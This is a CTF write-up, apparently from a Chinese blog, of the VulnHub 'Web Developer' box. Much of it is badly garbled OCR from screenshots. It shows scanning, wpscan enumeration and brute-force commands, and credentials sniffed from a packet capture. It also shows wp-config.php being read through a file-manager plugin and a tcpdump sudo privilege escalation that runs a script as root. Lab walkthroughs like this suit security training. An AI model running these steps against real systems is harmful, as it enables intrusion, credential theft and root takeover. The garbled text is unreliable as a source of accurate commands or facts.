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R4 Kali Linux 2. WebDeveloperfEHLRIE: https://www.vulnhub.conv
LRWTA: AR

KRB BRAMANE:

HE: $KEGEHLWeb Developer SCf4/root/flag.txtflag.

AR AW B IPHbEFIEH# (netdiscover); M HT#E(Nmap); HIBEHTTP A% Wik H FMZE(Dirb); K
WEIERSCH “cap”s i “cap” XX, WREIMWEEHEGKSEN; BEMA BRI ; FMHARRAKRESRS
R SHL; SSH mBEEFMEEE; tepdumpHR KM .
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Starting Nmap 7.91 ( https://nmap.org ) at 20
Nmap scan report for )
Host is up (0.0025s latency).

Not shown: 998 closed ports

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in @&SDN @@ei{ZsLHOL
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EXAMPLE SITE

ather WordPress slte

TP E—T, FHEEH2ERHBER.

4. FFwhatwebiRHll B A5 M58 FH FCMSHER . 2. 24 FHKCMSE M4 ?
Fit DA 2t A FH I CMSHE A5 3t /& WordPress[4.9.8]

5. M Rwpscan, fE#HEIIEE.

WPScanZKali LinuxEik B # I —HWFEH# TR, ERARbYHRES, 68 HE#WordPress ik )£ F
ZAERIA, HPaEWordPressZ & IR 1 IRIF A £ BRI BB AWPScan i) £ 2 - 4 &t
180007+ 7 14 I ¥R F12600FH £ BRI, FF B X BB A ¥ WordPress. EEERKZE, EMUAEBHRHEIM
robots. txtiX U SR, T LB RESS AT 24 81 28 F 3 A0 oAb Th A

Ft PAIX & — #XWordpress i & F A1 2%, ThEe a0 T fi s
BEEHEUGEER

wpscan -h
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—update B
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vt WEERREER
-w/—wordlist [SENNFE
-U/—username fexEARP CSDN @QSJWCZ_LHOL
5 B IR T PR
wpscan --update
wpscan --url http://IP/wordpress
Xf FEREBEAT A
wpscan --url http://IP/wordpress --enumerate t
A F B AR IR
wpscan --url http://IP/wordpress --enumerate vt
B I
wpscan --url http://IP/wordpress --enumerate p
B ZE KA RRRE
wpscan --url http://IP/wordpress --enumerate vp
M2 wordpressi il
wpscan --url http://IP/wordpress --enumerate u
1 Fl wpscanit 17 8 1 i fig
wpscan --url http://x0c --wordlist # %5 # --username F J* 44 B3 % 55 7 it
wREE

wpscan --url http://IP/wordpress --enmuerate vp,vt,tt,u

6. ff/ Dirb BEMuHF*. (Dirb 22— NMEITHTFRBEERMNTE, £ Kali #ERINEE%HE, RMITAEEE
[E 4l Mfipatator, dirsearch, DirBuster, E KIS #RE.

BAKRZIPT, BUABHRTE,


http://ip/wordpress

HE—MUAF MM ZRER KK B R (BR) .

fxmlrpc.php (CODE:405|SIZE:42)

—— Entering di ory: http:// Gl 1pmm

(!) WARNING: Directc S LISTABLE. No need to s
(Use mode '-w f you want to scanm it ’*”"UE‘\D

TR Z H R (B , RI—Acapx . BHE.

o Kali Linux % Kali Tools & Kali Forums & Kali Docs & NetHunter (0]

Index of /ipdata

Name Last modified Size Description
& Parent Directy :
@ analyze.cap 018-10-30 09:14 2.8M

i Sk b 5t R — AN cap .
8. FIFHWireshark/triZEiEa, SHTCPHIER. KA 2AHFRHMELE? BAE.
#N—/ 1T 9EIEA) http.request.method == POST, # FHIMRA BRI EEIER T

e eSS S N e (9]

Protocol Length Info
HTTP 799 POST /wordpress/wp-login.php HTTRP/1.1 [ﬂppliuatianzx-m-formﬁurlentadcd]

» Transmission Control Protocol, Src Port: 49558, Dst Port: 80, Seq: 1, Ack:

-~ HTML Form URI_Fncoded: annlication/x-www-form-urlencoded
Form item: "log" = "webdeveloper"
Form item: "pwd" = "Te5eQg&4sBS!Yr$)wf%(DcAd"
Form item: “wp-suvmxii™ = "Luy I

Form item: "redirect_to" = ”http://*./wordpress/’wpfadmln/"

Form item: "testcookie" = "1 CcsD!

LLtp:/
DIF’E' TUF"r :

RBEBAINXBEFZME S

JWCZ_LHQL




Lost your password?

} CSDN @QSJWCZ_LHQL
+ Back to Example site - -

W T — BRI, WARN EEARERKSERD, M URNERT .

o Kali Linux % Kali Tools M Kali Forums o Kali Docs e MetHunter Offensive Security MSFU Exploit-DB GHDB

sy . g ; € Dismiss
A new, modern publishing experience is coming soon. ¢

Test the new editor today. Mot quite ready?
@ ¥ou can take Gutenberg for a spin (and share The new editor will be enabled by default in the

you'd like) before we officially

s, or contributing on the

Ul
3]
(3]

= w ! Install Gutenberg nstall the Classic Edita
- 4 d

Welcome to WordPress! 2 Gl

Mo 1@ L r
CSDN @QSIWCZ_LHQL
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10. MM IZCMSHER (FfHPlugin) ¥R .
T A 7 53¢



E%Tﬁ G %'J)ﬂ)ﬂﬁlﬁmiiﬁa# (F|Ie ) manager) ﬁlﬂ iz% Tﬂ‘aﬁﬁ, H W Ll lwp-config.php.
Add Plugins  upload plugin

Search Results Featured Popul Recomim F d Ke-r'\‘.'ardj

File Manager nstall Now FileBird - WordPress

Media Library Folders &
File Manager

file manager provides you abi

= edit, delete, uploe
K¢ Plugins PR P
£ and paste Tile "
P Organize thousands of WordPress
media files in folders | categories at
ease
Add New

{1,100} Last Updated: 5

800,000+ Active Installations ¥ Compatible with your version of WordPress
[649) Last Updated: & days ago

sctive Installations « comphribiphuifh el@ ‘45.} o5 pilydrztess]

T BEER, S5 EWP File Managner B i £ 2lwp-config.php.

Change Theme Here:  Default ~| English -
a1 Ve J 3 i Modified 1 Size F Kind
Ipdata ipdata read Oct 30, 2018 05:14 AM - Falder
" wp-admin . wp n and write Aug 02, 2018 04:38 PM Folder
v wp-content wp-content pad and wiite Today 03:43 AM - Faldeaf
v wpeinc cludes fead And wi 02, 2018 04:39 PM Foldir
o 2013 0218 PM 4186 PHP ]
, 2018 02:32 PM 19 KB P L
W readme htmi read and write Mar 18, 2018 12:13 PM TEB HTML aocument
l:'. WP Fi ‘.Enager & wp-activale php nead and wrile May 01. 2018 D610 PW S KB PHP source
®  wp-biog-header. php read and write Dec 19, 2015 D620 AM 364 b PHP source
WP File Manager & wp-comments-post.php read and write May 02. 2018 06:11 PM 2KB PHP source

PHP source

- '.'\'l:l‘lll'l".ﬁ‘ﬂl)ﬁ' php read and write 2KB PHP source

® | wp-load.php read and writs Aug 22, 2 IKE PHP source

& read and write Jul 16, 2018 10:14 AM P ~BHE Epiire,
GSEiET CaClsr BUIC,

RIEBAWTI M, ETIRILTRTUE R ZELHEE, CETEERNKSENLT .
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a Mice Review to the plugin to appreciate our

Ntmplimeozilla_kali0 fwp-config.php [RiK] - Mousepad

i 1 =l B # —:1‘&' ﬂﬂ..*.*
(] Q ® N
WP File Manager

ipdata 23 define -
: pider
24
L h'.'r}-.'{l'll'l'lul'l 2 5 source
b Wp-COntent 26 def bain text

; 27
¥ wp-includes = TML documsant

HP source

HP source

HP source

35 define HP source

36 HP source

37

38 define SAUCE,
38 HP source —

FF4: webdeveloper %#5: Masteroftheuniverse
11. SSHEFR %%
SRA A E—BRB U M BHE ER A P A NEEERETERS S B2E.

Security_Certification

2018 from

=\

1 . 2l &EF/root/flag.txt LT EAER B ZRBIE B LT EE

rs ipe-loop L L localdomainé
t localhost

ip6-localhos




Loper:

eloper:

sveloper:
rd attempts
$ sedo -1

did you mean:
sudo
D—ldﬂp

' from deb sed

name >

ip6-allnodes
ip6-allrouters
1597 i hosts ip6-localhost

RAHTEEE .
2) \ fEHtepdumpPATIERE A4 (ZtcpdumpfisR B HIE A F 2PATREMH L. )
HE LSBT HATHI L.

BTk N4 sudo -l T HE K %G 2 MasterOfTheUniverse.

r/local/bin) fusr/bin\:/s \:/bin\:/snap/bin

per.:

WCZ_LHQL

KB A] PLroott PR $1 1T tcpdumpr 4
B 2 s S

5 Ashellcode

T T F] AT LR
F A tepdumpPATIE E i &

touch /tmp/exploit
echo “cat /root/flag.txt” > /tmp/exploit
oper: chmod +x /tmp/exploit

a1 sudo tcpdump -1n -i eth® -w /dev/null -W 1 -G 1 -z /tmp/exploit -Z root

dropped privs to roo
listening on eth®, link-type EN1@0MB (Ethernet), capture size 144 bytes
m file limit reached: 1

d by filter
dropped by ke
‘awebdeveloper:~$ /tmp/exploit: 1: /tmp/exploit: “cat: not found CSDN @QSJWCZ_LHOQL




tepdump iy &1 1# -

-i ethO A& & W 4 SR 348

-w /dev/null R 3R 2 HE B Bl B i (M BIER 4R

-z [command] 12417 18 & ) i &

-Z [user] $8 € P #AT 4

-G [rotate_seconds] #rotate_seconds®y— IR ISR $hAT-WHE 5E I 55 i
-W [num] & E M BHE
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